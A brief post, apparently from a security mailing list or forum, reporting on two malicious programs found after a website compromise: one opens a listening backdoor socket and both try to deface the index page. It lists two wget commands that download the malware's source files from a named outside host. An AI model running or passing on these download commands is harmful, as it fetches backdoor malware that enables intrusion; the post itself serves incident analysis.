I don't have the time to investigate the "cgi" and "dc" binaries.
The "cgi" at least tries to daemonize and opens a TCP listening socket.
They also try to replace the index page on the vulnerable site.

In the same site you can download :

wget http://www.nokiacentrum.cz/dcha0s/dc.c
wget http://www.nokiacentrum.cz/dcha0s/cgi.c
